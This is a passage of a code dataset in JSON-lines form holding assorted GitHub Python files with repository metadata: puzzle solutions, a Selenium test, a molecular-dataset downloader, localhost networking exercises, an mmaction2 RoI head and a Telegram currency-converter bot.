''.join(sorted(checksum))\n        if want_checksum == checksum:\n            total += int(digits)\n    print(\"Digit total\", total)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"jackdied/AoC2016","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"2364857576","text":"import unittest\nfrom time import sleep\n\nfrom common.document_operation import get_yaml\nfrom page.example.example import ExamplePage\nfrom common.base import open_browser, BasePage\n\n\nclass TestBaidu(unittest.TestCase):\n\n    def setUp(self):\n        self.driver = open_browser('chrome', logs=True)\n        self.page = ExamplePage(self.driver)\n        self.page.open_url(get_yaml('../config/env.yaml', 'url_baidu'))\n\n    def tearDown(self):\n        self.driver.quit()\n\n    def test_baidu_search_case(self):\n        self.page.send_keys(self.page.SEARCH_INPUT, 'selenium')\n        self.page.click(self.page.SEARCH_BUTTON)\n        sleep(2)\n        for typelog in self.driver.log_types:\n            perfs = self.driver.get_log(typelog)\n            print(perfs)\n            for row in perfs:\n                print(row)\n        self.assertEqual(self.page.get_title(), \"selenium_百度搜索\")\n","repo_name":"GavinHaydy/AutomatedTest","sub_path":"testcase/test_web.py","file_name":"test_web.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39272273660","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 15 16:13:51 2020\n\n@author: jacqu\n\nDownload moses datasets and saves them \n\"\"\"\n\nimport moses\nimport pandas as pd\nimport os\n\n\ndef download_moses():\n    script_dir = os.path.dirname(os.path.realpath(__file__))\n\n    print('>>> Loading data from moses')\n    train = moses.get_dataset('train')\n    test = moses.get_dataset('test')\n    test_scaffolds = moses.get_dataset('test_scaffolds')\n\n    train = pd.DataFrame(train).rename(columns={0: 'smiles'})\n    test = pd.DataFrame(test).rename(columns={0: 'smiles'})\n    scaf = pd.DataFrame(test_scaffolds).rename(columns={0: 'smiles'})\n\n    print(scaf.head())\n\n    print('>>> Saving data to csv files in ./data')\n    train.to_csv(os.path.join(script_dir, '../data/moses_train.csv'))\n    test.to_csv(os.path.join(script_dir, '../data/moses_test.csv'))\n    scaf.to_csv(os.path.join(script_dir, '../data/moses_test_scaffolds.csv'))\n\n\ndownload_moses()\n","repo_name":"jacquesboitreaud/OptiMol","sub_path":"data_processing/download_moses.py","file_name":"download_moses.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"3"}
+{"seq_id":"3794603342","text":"import os\nimport re\nimport time\n\ndef timeit(f):\n  def wrapped(*args, **kwargs):\n    start = time.perf_counter()\n    result = f(*args, **kwargs)\n    print(f\"{f.__name__} took: {time.perf_counter() - start}s\")\n    return result\n  return wrapped\n\ndef replaceRules(rule, rules):\n  # Recursively replace reference to rules with their actual values\n  if rule['type'] == \"or\" or rule['type'] == \"and\":\n    ruleValue = rule['value']\n    for subRuleIdx, subRule in enumerate(ruleValue):\n      if isinstance(subRule, str):\n        subRuleKey = subRule\n        ruleValue[subRuleIdx] = rules[subRuleKey]\n      elif subRule[\"type\"] != \"literal\":\n        replaceRules(subRule, rules)\n\n# Validates / matches a message using the target rule directly\ndef validateWithRule(message, targetRule, charIdx):\n  targetRuleType = targetRule[\"type\"]\n  targetRuleValue = targetRule[\"value\"]\n  isValid = False\n  if targetRuleType == 'and':\n    allValid = True\n    currCharIdx = charIdx\n    for subRule in targetRuleValue:\n      newIsValid, newCharIdx = validateWithRule(message, subRule, currCharIdx)\n      if newIsValid:\n        currCharIdx = newCharIdx\n      else:\n        allValid = False\n        break\n    isValid = allValid\n    if isValid:\n      charIdx = currCharIdx\n  elif targetRuleType == 'or':\n    anyValid = False\n    currCharIdx = charIdx\n    for subRule in targetRuleValue:\n      newIsValid, newCharIdx = validateWithRule(message, subRule, currCharIdx)\n      if newIsValid:\n        anyValid = True\n        currCharIdx = newCharIdx\n        break\n    isValid = anyValid\n    if isValid:\n      charIdx = currCharIdx\n  elif targetRuleType == 'literal':\n    if charIdx < len(message) and message[charIdx] == targetRuleValue:\n      isValid = True\n      charIdx += len(targetRuleValue)\n    else:\n      isValid = False\n  else:\n    raise Exception(f\"Invalid rule type {targetRuleType}\")\n  return isValid, charIdx\n\n# Creates a regex corresponding to the target rule\ndef regexForTargetRule(targetRule):\n  targetRuleType = targetRule[\"type\"]\n  targetRuleValue = targetRule[\"value\"]\n  targetRuleRegex = \"\"\n  if targetRuleType == \"and\":\n    targetRuleRegex += r\"(?:\"\n    for subRule in targetRuleValue:\n      targetRuleRegex += regexForTargetRule(subRule)\n    targetRuleRegex += r\")\"\n  elif targetRuleType == \"or\":\n    targetRuleRegex += r\"(?:\"\n    for idx, subRule in enumerate(targetRuleValue):\n      targetRuleRegex += regexForTargetRule(subRule)\n      if idx + 1 < len(targetRuleValue):\n        targetRuleRegex += r\"|\"\n    targetRuleRegex += r\")\"\n  elif targetRuleType == 'literal':\n    targetRuleRegex += targetRuleValue\n  else:\n    raise Exception('Invalid rule type')\n  return targetRuleRegex\n\n@timeit\ndef solveCustom(rules, messages):\n  targetRule = rules['0']\n\n  # Validate message with target rule with custom validator\n  validMessagesCount = 0\n  for message in messages:\n    (validMessage, charIdx) = validateWithRule(message, targetRule, 0)\n    isValid = validMessage and charIdx == len(message)\n    if isValid:\n      validMessagesCount += 1\n  return validMessagesCount\n\n@timeit\ndef solveRegex(rules, messages):\n  targetRule = rules['0']\n\n  # Validate message with target rule using regex mapping\n  targetRuleRegex = r\"^\" + regexForTargetRule(targetRule) + r\"$\"\n  targetRuleCompiledRegex = re.compile(targetRuleRegex)\n  validMessagesCount = 0\n  for message in messages:\n    if targetRuleCompiledRegex.match(message) != None:\n      validMessagesCount += 1\n  return validMessagesCount\n\ndef solve(rules, messages):\n  # Replace reference to rules in the input with the literals\n  for rule in rules.values():\n    replaceRules(rule, rules)\n\n  validMessagesCount = solveCustom(rules, messages)\n  print(f\"Solution (custom) {validMessagesCount}\")\n\n  validMessagesCount = solveRegex(rules, messages)\n  print(f\"Solution (regex) {validMessagesCount}\")\n\ndef parseInput(lines):\n  RULE_REGEX = re.compile(r\"(?P<ruleNumber>\\d+): (?:(?P<subRules>[\\d \\|]+)|\\\"(?P<replacement>[ab])\\\")\")\n  MAX_RULE_RECURSION = 10\n\n  rules = {}\n  messages = []\n  for line in lines:\n    matches = RULE_REGEX.match(line)\n    if matches != None:\n      # Parse original rules/grammar into a tree we can understand and manipulate\n      ruleNumber = matches[\"ruleNumber\"]\n      subRules = matches[\"subRules\"]\n      replacement = matches[\"replacement\"]\n      if subRules != None:\n        splitSubRules = subRules.split(\"|\")\n        if len(splitSubRules) > 1:\n          # The following commented line is all we had for part 1\n          # rules[ruleNumber] = { \"type\": \"or\", \"value\": [{ \"type\": \"and\", \"value\": subRule.strip().split(\" \")} for subRule in splitSubRules] }\n          ruleObjects = []\n          for subRule in splitSubRules:\n            subRuleReplacements = subRule.strip().split(\" \")\n            subRuleHasCycle = any([replacementRule == ruleNumber for replacementRule in subRuleReplacements])\n            if subRuleHasCycle:\n              # To handle Part 2, we make rules for a maximum number of recursions\n              cycleIdx = subRuleReplacements.index(ruleNumber) # index of the cycle rule number\n              count = 0\n              while count < MAX_RULE_RECURSION:\n                repetitions = count + 1\n                ruleObjects.append({ \"type\": \"and\", \"value\": (subRuleReplacements[0:cycleIdx] * repetitions) + (subRuleReplacements[cycleIdx+1:] * repetitions)})\n                count += 1\n            else:\n              ruleObjects.append({ \"type\": \"and\", \"value\": subRuleReplacements })\n          rules[ruleNumber] = { \"type\": \"or\", \"value\": ruleObjects }\n        else:\n          rules[ruleNumber] = { \"type\": \"and\", \"value\": splitSubRules[0].strip().split(\" \") }\n      elif replacement != None:\n        rules[ruleNumber] = { \"type\": \"literal\", \"value\": replacement }\n      else:\n        raise Exception(\"Invalid rule.\")\n    elif len(line.strip()) > 0:\n      # Collect messages to validate\n      messages.append(line.strip())\n  return rules, messages\n\nif __name__ == \"__main__\":\n  dirname = os.path.dirname(__file__)\n\n  filenamePart1 = os.path.join(dirname, \"input.txt\")\n  with open(filenamePart1, \"r\") as fileInput:\n    print(\"-- Part 1 --\")\n    rules, messages = parseInput(fileInput.readlines())\n    solve(rules, messages)\n\n  filenamePart2 = os.path.join(dirname, \"inputPart2.txt\")\n  with open(filenamePart2, \"r\") as fileInput:\n    print(\"-- Part 2 --\")\n    rules, messages = parseInput(fileInput.readlines())\n    solve(rules, messages)\n\n\n","repo_name":"poscar/advent-of-code-2020","sub_path":"19/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"20760710409","text":"fname = \"up_cities.txt\" #change the name with current city file\r\n#----------------------------------------\r\nlines = tuple(open(fname, 'r'))\r\nlines = [x.strip() for x in lines]\r\n#----------------------------------------\r\n#print(lines)\r\nprint(len(lines))\r\n#----------------------------------------\r\nlines1 = list(dict.fromkeys(lines))\r\nprint(len(lines1))\r\nnew_file = open(\"up_cities_list.txt\", \"w+\")\r\nnew_file.write(\"up_cities = \")\r\nnew_file.write(str(lines1))\r\nnew_file.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#ignore the commented part.....trash code\r\n'''\r\nUse this code to see the number of lines in the file.\r\ncount = 0\r\nwith open(fname, 'r') as f:\r\n    for line in f:\r\n        count += 1\r\nprint(\"Total number of lines is:\", count)\r\n\r\nf = open(fname, 'r')\r\nfile_contents = f.readlines()\r\nfile_contents = [x.strip() for x in file_contents]\r\nprint(file_contents)\r\nf.close()\r\n'''\r\n","repo_name":"adityakumaar/DataAnalytics-Internship-Project","sub_path":"all_cities/indi_city_list/individual_city_list.py","file_name":"individual_city_list.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"16986446803","text":"# Given a target string and a list of strings called wordBank, return the number of ways to construct the target string.\n# using the wordBank. A word in the wordbank can be used multiple times.\n# The trick is to return [[]] when creating \"\" and [] when failing to create a word.\n# Time complexity = polynomial as all combinations have to be generated\n\ncache = {}\n\ndef allConstruct(target, wordBank):\n\n    if(target == \"\"):\n        return [[]]\n    \n    if(target in cache):\n        return cache[target]\n    \n    allWays = []\n\n    for word in wordBank:\n\n        if(target[:len(word)] == word):\n            remainingWord = target[len(word):]\n            currWays = allConstruct(remainingWord, wordBank)\n            for ways in currWays:\n                t = [word] + ways\n                allWays.append(t)\n\n    cache[target] = allWays\n    return cache[target]\n\n\nif __name__ == \"__main__\":\n    target = input(\"Enter target string: \")\n\n    n = int(input(\"Enter no. of words in wordbank: \"))\n    wordBank = []\n    i = 0\n    while(i < n):\n        temp = input(f\"Enter word {i}: \")\n        wordBank.append(temp)\n        i += 1\n\n    res = allConstruct(target, wordBank)\n\n    if(res):\n        print(f\"{target} can be constructed from the wordbank in {len(res)} ways\")\n        for item in res:\n            print(item)\n    else:\n        print(f\"{target} cannot be constructed from the wordbank\")","repo_name":"Dhruvvvx17/LeetCode-Solution","sub_path":"Dynamic Programming/Python/allConstruct.py","file_name":"allConstruct.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"40429656922","text":"file = open(\"input.txt\", \"r\")\nfileLines = [line.strip(\"\\n\") for line in file.readlines()]\n\ncommonChars = []\n\nfor line in fileLines:\n    #\"A\" starts at ASCII 65, \"a\" starts at ASCII 97\n    commonChars += set([ord(x) for x in line[:len(line) // 2] if x in line[len(line) // 2:]])\n\nsortedChars = [x - 38 if 65 <= x < 91 else x - 96 for x in commonChars]\n\nprint(sortedChars)\nprint(sum(sortedChars))","repo_name":"leifkemp-bjss/aoc-2022","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44198728831","text":"from __future__ import division\nfrom math import cos, sin, pi\nfrom pyglet.gl import *\nimport utils\n\n\nclass Sphere(object):\n    \"\"\"\n    OpenGL representation of a Sphere. Stores its position, normal, uv, and\n    index vectors, as well as a method to draw\n    \"\"\"\n    def __init__(self, divLong, divLat):\n        # Create the vertex and normal arrays.\n        positions = []\n        normals = []\n        uvs = []\n\n        for i in xrange(divLong + 1):\n            theta = 2 * pi * i/divLong + pi\n            for j in xrange(divLat + 1):\n                phi = pi * j / divLat\n                z = cos(theta) * sin(phi)\n                x = sin(theta) * sin(phi)\n                y = cos(phi)\n\n                positions.extend([x, y, z])\n                normals.extend([x, y, z])\n                uvs.extend([i/divLong, 1-(j/divLat)])\n        # Create ctypes arrays of the lists\n        positions = utils.vecf(*positions)\n        normals = utils.vecf(*normals)\n        uvs = utils.vecf(*uvs)\n\n        # Create a list of triangle indices.\n        indices = []\n        for i in xrange(0, int(len(positions)/3) - divLat - 1, divLat + 1):\n            for j in xrange(divLat):\n                indices.extend([i + j, i + j + 1, i + j + 2 + divLat])\n                indices.extend([i + j, i + j + 2 + divLat, i + j + 1 + divLat])\n\n        indices = utils.veci(*indices)\n        # Compile a display list\n        self.list = glGenLists(1)\n        glNewList(self.list, GL_COMPILE)\n\n        glEnableClientState(GL_VERTEX_ARRAY)\n        glEnableClientState(GL_NORMAL_ARRAY)\n        glEnableClientState(GL_TEXTURE_COORD_ARRAY)\n        glVertexPointer(3, GL_FLOAT, 0, positions)\n        glNormalPointer(GL_FLOAT, 0, normals)\n        glTexCoordPointer(2, GL_FLOAT, 0, uvs)\n        glDrawElements(GL_TRIANGLES, len(indices), GL_UNSIGNED_INT, indices)\n\n        glEndList()\n\n    def draw(self):\n        glCallList(self.list)\n","repo_name":"Oneman2feet/a-sharp","sub_path":"app/sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36399727504","text":"print(\"####### 11-1 ##########\")\n\nimport socket\n\naddress = ('localhost', 6789)\nmax_size = 1000\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(address)\n\nclient.send(b'time')\ndata = client.recv(max_size)\n\nprint(data)\nprint(data.decode('utf-8'))\nclient.close()\n\nprint(\"####### 11-2 ##########\")\nimport zmq\n\nhost = '127.0.0.1'\nport = 6790\n\ncontext = zmq.Context()\nclient = context.socket(zmq.REQ)\nclient.connect(\"tcp://%s:%s\" % (host, port))\n\nrequest_bytes = \"time\".encode('utf-8')\nclient.send(request_bytes)\nreply_bytes = client.recv()\nprint(reply_bytes.decode('utf-8'))\n\nprint(\"####### 11-3 ##########\")\nimport xmlrpc.client\n\nproxy = xmlrpc.client.ServerProxy(\"http://localhost:6791/\")\nnow = proxy.this_time()\n\nprint(now)\n\nprint(\"####### 11-4 ##########\")\nimport redis\nconn = redis.Redis()\n\nchocos = ['choco1','choco2','choco3']\nfor choco in chocos:\n    msg = choco.endoce('utf-8')\n    conn.rpush('chocos',msg)\n    \nconn.rpush('chocos','quit'.encode('utf-8'))\nconn.close()\n","repo_name":"tommy115/begining-of-python","sub_path":"chap11/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40345355017","text":"# var1 = 20 \n# var2 = 30\n# Relational operators or Conditional operators -> >, <, >=, <=, ==, !=\n# if var1 == var2:\n#     print(\"The condition is true\")\n# else:\n#     print(\"The condition is false\")\n# print(\"This is another print statement\")\n# Two numbers, Product More than 1000 -> print sum -> otherwise product \n\n\nnum1 = 40\nnum2 = 40\n# if num1 * num2 >= 1000:\n#     print(\"Sum is\", num1 + num2)\n# else:\n#     print(\"Product is\", num1 * num2) \n\n\n# Multiple conditions -> \n# Logical operators -> AND, OR and NOT \n\n# if num1 < 30 or num2 < 30:\n#     print(\"Both the conditions are true\")\n# else:\n#     print(\"Both the conditions are not true\")\n\n\n\n# 2 ways ->\nx = 44 \n# if x < 10:\n#     print(\"Con1 is true\")\n# elif x == 20:\n#     print(\"Con2 is true\")\n# elif x > 20:\n#     print(\"Con3 is true\")\n\n# Nested If-else\n# if x > 10:\n#     print(\"Con1 is true, x is greater than 10\")\n#     print(\"checking another condition ... \")\n#     if x > 20:\n#         print(\"Con2 is true, x is greater than 20\")   \n#     else:\n#         print(\"Con2 is false, x is lesser than 20\")\n# else:\n#     print(\"Con1 is false, x is lesser than 10\")\n\n# Take two numbers, print which one is greater?\n# number1 = 34\n# number2 = 34\n# if number1 > number2:\n#     print(\"Number 1 is greater than Number 2\")\n\n# elif number2 == number1:\n#     print(\"Number 2 is equal to Number 1\")\n\n# else:\n#     print(\"Number 2 is greater than Number 1\")\n\n# Take 3 numbers, Print which one is greatest, smallest and middle one?\n\n\nvalue1 = 135\nvalue2 = 135\nvalue3 = 1250\nif value1 > value2 and value1 > value3:\n    print(\"Value 1 is greatest\")\n    if value2 > value3:\n        print(\"Value 2 is middle one, Value 3 is smallest\")\n    else:\n        print(\"Value 3 is middle one, Value 2 is smallest\")\n\nelif value2 > value1 and value2 > value3:\n    print(\"Value 2 is greatest\")\n    if(value1 > value3):\n        print(\"Value 1 is middle one and value 3 is smallest\")\n    else:\n        print(\"Value 3 is middle one and value 1 is smallest\")\n\nelif value3 > value1 and value3 > value2:\n    print(\"Value 3 is greatest\")\n    if value1 > value2:\n        print(\"Value 1 is middle and value 2 is smallest\")\n    else:\n        print(\"value 2 is middle and value 1 is smallest\")\n\nelse:\n    print(\"None of the values is greatest, middle or smallest\")\n\n# Taking user from input \nuser_input = int(input(\"Enter a number\"))\nprint(user_input + 10)\n\n# BMI Calculator - Body Mass Index - \n# wt = 40\n# m = 3 \n# bmi = wt / m**2 ","repo_name":"hiteshrana735/Django-Ecommerce-Project","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33389539492","text":"import textwrap as tw\nimport pickle\nimport threading\n\nimport _xxsubinterpreters as interpreters\n# interpid = interpreters.create()\n# print('before')\n# interpreters.run_string(interpid, 'print(\"during\")')\n# print('after')\n\ninterpid = interpreters.create()\n\ninterpreters.run_string(interpid, tw.dedent(\"\"\"\n    import pickle\n    import _xxsubinterpreters as interpreters\n\"\"\"))\n\nchannel_id = interpreters.channel_create()\ndef run(interpid, channel_id):\n    interpreters.run_string(interpid, tw.dedent(\"\"\"\n        raw = interpreters.channel_recv(channel_id)\n        if msg := pickle.loads(raw):\n            print(f\"{msg = }\")\n        interpreters.channel_release(channel_id)\n        \"\"\"),\n        shared=dict(\n            channel_id=channel_id,\n            ),\n        )\nraw = pickle.dumps(\"Hello, world\", protocol=5)\ninterpreters.channel_send(channel_id, raw)\n\nt = threading.Thread(target=run, args=(interpid, channel_id))\nt.start()\nt.join()\n","repo_name":"sdukshis/subinterpreters-talk","sub_path":"subint.py","file_name":"subint.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30514771462","text":"from typing import List, Tuple, Union\n\nfrom mmdet.models.roi_heads import StandardRoIHead\nfrom mmdet.models.task_modules.samplers import SamplingResult\nfrom mmdet.structures.bbox import bbox2roi\nfrom torch import Tensor\n\nfrom mmaction.utils import ConfigType, InstanceList, SampleList\n\n\nclass AVARoIHead(StandardRoIHead):\n\n    def loss(self, x: Union[Tensor,\n                            Tuple[Tensor]], rpn_results_list: InstanceList,\n             data_samples: SampleList, **kwargs) -> dict:\n        \"\"\"Perform forward propagation and loss calculation of the detection\n        roi on the features of the upstream network.\n\n        Args:\n            x (Tensor or Tuple[Tensor]): The image features extracted by\n                the upstream network.\n            rpn_results_list (List[:obj:`InstanceData`]): List of region\n                proposals.\n            data_samples (List[:obj:`ActionDataSample`]): The batch\n                data samples.\n\n        Returns:\n            Dict[str, Tensor]: A dictionary of loss components.\n        \"\"\"\n        assert len(rpn_results_list) == len(data_samples)\n        batch_gt_instances = []\n        for data_sample in data_samples:\n            batch_gt_instances.append(data_sample.gt_instances)\n\n        # assign gts and sample proposals\n        num_imgs = len(data_samples)\n        sampling_results = []\n        for i in range(num_imgs):\n            # rename rpn_results.bboxes to rpn_results.priors\n            rpn_results = rpn_results_list[i]\n            rpn_results.priors = rpn_results.pop('bboxes')\n\n            assign_result = self.bbox_assigner.assign(rpn_results,\n                                                      batch_gt_instances[i],\n                                                      None)\n            sampling_result = self.bbox_sampler.sample(assign_result,\n                                                       rpn_results,\n                                                       batch_gt_instances[i])\n            sampling_results.append(sampling_result)\n\n        # LFB needs meta_info: 'img_key'\n        batch_img_metas = [\n            data_samples.metainfo for data_samples in data_samples\n        ]\n\n        losses = dict()\n        # bbox head forward and loss\n        bbox_results = self.bbox_loss(x, sampling_results, batch_img_metas)\n        losses.update(bbox_results['loss_bbox'])\n\n        return losses\n\n    def _bbox_forward(self, x: Union[Tensor, Tuple[Tensor]], rois: Tensor,\n                      batch_img_metas: List[dict], **kwargs) -> dict:\n        \"\"\"Box head forward function used in both training and testing.\n\n        Args:\n            x (Tensor or Tuple[Tensor]): The image features extracted by\n                the upstream network.\n            rois (Tensor): RoIs with the shape (n, 5) where the first\n                column indicates batch id of each RoI.\n            batch_img_metas (List[dict]): List of image information.\n\n        Returns:\n                dict[str, Tensor]: Usually returns a dictionary with keys:\n\n                - `cls_score` (Tensor): Classification scores.\n                - `bbox_pred` (Tensor): Box energies / deltas.\n                - `bbox_feats` (Tensor): Extract bbox RoI features.\n        \"\"\"\n        bbox_feats, global_feat = self.bbox_roi_extractor(x, rois)\n\n        if self.with_shared_head:\n            bbox_feats = self.shared_head(\n                bbox_feats,\n                feat=global_feat,\n                rois=rois,\n                img_metas=batch_img_metas)\n\n        cls_score = self.bbox_head(bbox_feats)\n\n        bbox_results = dict(cls_score=cls_score, bbox_feats=bbox_feats)\n        return bbox_results\n\n    def bbox_loss(self, x: Union[Tensor, Tuple[Tensor]],\n                  sampling_results: List[SamplingResult],\n                  batch_img_metas: List[dict], **kwargs) -> dict:\n        \"\"\"Perform forward propagation and loss calculation of the bbox head on\n        the features of the upstream network.\n\n        Args:\n            x (Tensor or Tuple[Tensor]): The image features extracted by\n                the upstream network.\n            sampling_results (List[SamplingResult]): Sampling results.\n            batch_img_metas (List[dict]): List of image information.\n\n        Returns:\n            dict[str, Tensor]: Usually returns a dictionary with keys:\n\n                - `cls_score` (Tensor): Classification scores.\n                - `bbox_pred` (Tensor): Box energies / deltas.\n                - `bbox_feats` (Tensor): Extract bbox RoI features.\n                - `loss_bbox` (dict): A dictionary of bbox loss components.\n        \"\"\"\n        rois = bbox2roi([res.priors for res in sampling_results])\n        bbox_results = self._bbox_forward(x, rois, batch_img_metas)\n\n        bbox_loss_and_target = self.bbox_head.loss_and_target(\n            cls_score=bbox_results['cls_score'],\n            rois=rois,\n            sampling_results=sampling_results,\n            rcnn_train_cfg=self.train_cfg)\n\n        bbox_results.update(loss_bbox=bbox_loss_and_target['loss_bbox'])\n        return bbox_results\n\n    def predict(self, x: Union[Tensor,\n                               Tuple[Tensor]], rpn_results_list: InstanceList,\n                data_samples: SampleList, **kwargs) -> InstanceList:\n        \"\"\"Perform forward propagation of the roi head and predict detection\n        results on the features of the upstream network.\n\n        Args:\n            x (Tensor or Tuple[Tensor]): The image features extracted by\n                the upstream network.\n            rpn_results_list (List[:obj:`InstanceData`]): list of region\n                proposals.\n            data_samples (List[:obj:`ActionDataSample`]): The batch\n                data samples.\n\n        Returns:\n            List[obj:`InstanceData`]: Detection results of each image.\n            Each item usually contains following keys.\n\n                - scores (Tensor): Classification scores, has a shape\n                    (num_instance, )\n                - labels (Tensor): Labels of bboxes, has a shape\n                    (num_instances, ).\n        \"\"\"\n        assert self.with_bbox, 'Bbox head must be implemented.'\n        batch_img_metas = [\n            data_samples.metainfo for data_samples in data_samples\n        ]\n        if isinstance(x, tuple):\n            x_shape = x[0].shape\n        else:\n            x_shape = x.shape\n\n        assert x_shape[0] == 1, 'only accept 1 sample at test mode'\n        assert x_shape[0] == len(batch_img_metas) == len(rpn_results_list)\n\n        results_list = self.predict_bbox(\n            x, batch_img_metas, rpn_results_list, rcnn_test_cfg=self.test_cfg)\n\n        return results_list\n\n    def predict_bbox(self, x: Tuple[Tensor], batch_img_metas: List[dict],\n                     rpn_results_list: InstanceList,\n                     rcnn_test_cfg: ConfigType) -> InstanceList:\n        \"\"\"Perform forward propagation of the bbox head and predict detection\n        results on the features of the upstream network.\n\n        Args:\n            x (tuple[Tensor]): Feature maps of all scale level.\n            batch_img_metas (list[dict]): List of image information.\n            rpn_results_list (list[:obj:`InstanceData`]): List of region\n                proposals.\n            rcnn_test_cfg (obj:`ConfigDict`): `test_cfg` of R-CNN.\n\n        Returns:\n            list[:obj:`InstanceData`]: Detection results of each image\n            after the post process. Each item usually contains following\n            keys:\n                - scores (Tensor): Classification scores, has a shape\n                    (num_instance, )\n                - labels (Tensor): Labels of bboxes, has a shape\n                    (num_instances, ).\n        \"\"\"\n        proposals = [res.bboxes for res in rpn_results_list]\n        rois = bbox2roi(proposals)\n        bbox_results = self._bbox_forward(x, rois, batch_img_metas)\n\n        # split batch bbox prediction back to each image\n        cls_scores = bbox_results['cls_score']\n        num_proposals_per_img = tuple(len(p) for p in proposals)\n        rois = rois.split(num_proposals_per_img, 0)\n        cls_scores = cls_scores.split(num_proposals_per_img, 0)\n\n        result_list = self.bbox_head.predict_by_feat(\n            rois=rois,\n            cls_scores=cls_scores,\n            batch_img_metas=batch_img_metas,\n            rcnn_test_cfg=rcnn_test_cfg)\n\n        return result_list\n","repo_name":"open-mmlab/mmaction2","sub_path":"mmaction/models/roi_heads/roi_head.py","file_name":"roi_head.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","stars":3560,"dataset":"github-code","pt":"3"}
+{"seq_id":"34176445192","text":"import pandas as pd\n\ndata = pd.read_csv(\"data.csv\", index_col=\"Duration\")\nprint(data.head(10))\n\ndef group_and_find_mean():\n    \"\"\"Group by Duration and find the mean of each Column\n    \"\"\"\n    g = data.groupby([\"Duration\"]).mean()\n\n    print(g.to_string())\n\n    \"\"\"Group by Duration and find the mean of the Maxpulse column\n    \"\"\"\n    x = data.groupby([\"Duration\"])[\"Maxpulse\"].mean()\n\n    print(x.to_string())\n\ndef main():\n    group_and_find_mean()\n\nif __name__ == '__main__':\n    main()","repo_name":"Beau28713/Data_Camp_Courses","sub_path":"Pandas/group_by.py","file_name":"group_by.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24310232732","text":"\nimport telebot\nfrom config import TOKEN, currency\nfrom extension import ApiException, UnitConvert\n\n\nbot = telebot.TeleBot(TOKEN)\n\n\n@bot.message_handler(commands=['start'])\ndef begin(message: telebot.types.Message):\n    text = 'Добро пожаловать в конвертор валюты! \\\nЧтобы начать работу введите команду: /help'\n    bot.send_message(message.chat.id, text)\n\n\n@bot.message_handler(commands=['help'])\ndef instructions(message: telebot.types.Message):\n    text = 'Чтобы начать конвертацию введите команду: \\n\"наименование валюты\"  \\\n\"в какую валюту перевести\"  \\\n\"количество переводимой валюты\"\\n Для просмотра списка всех доступных валют введите команду: /values'\n    bot.reply_to(message, text)\n\n\n@bot.message_handler(commands=['values'])\ndef values(message: telebot.types.Message):\n    text = 'Доступные валюты:'\n\n    for i in currency.keys():\n        text = '\\n'.join((text, i))\n    bot.reply_to(message, text)\n\n\n@bot.message_handler(content_types=['text'])\ndef converter(message: telebot.types.Message):\n    prise = message.text.split(' ')\n    try:\n        if len(prise) !=3:\n            raise ApiException('Не верное количество параметров!')\n\n        base, sym, amount = prise\n        total_sym = UnitConvert.get_price(base, sym, amount)\n    except ApiException as  e:\n        bot.reply_to(message, f'Ошибка пользователя\\n{e}')\n    except Exception as e:\n        bot.reply_to(message, f'Не удалось обработать команду\\n{e}')\n    else:\n        text = f'Цена {amount} {base} в {sym} - {total_sym}'\n        bot.send_message(message.chat.id, text)\n\n\nbot.polling()","repo_name":"Dmitr-iy/pythonTeleBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
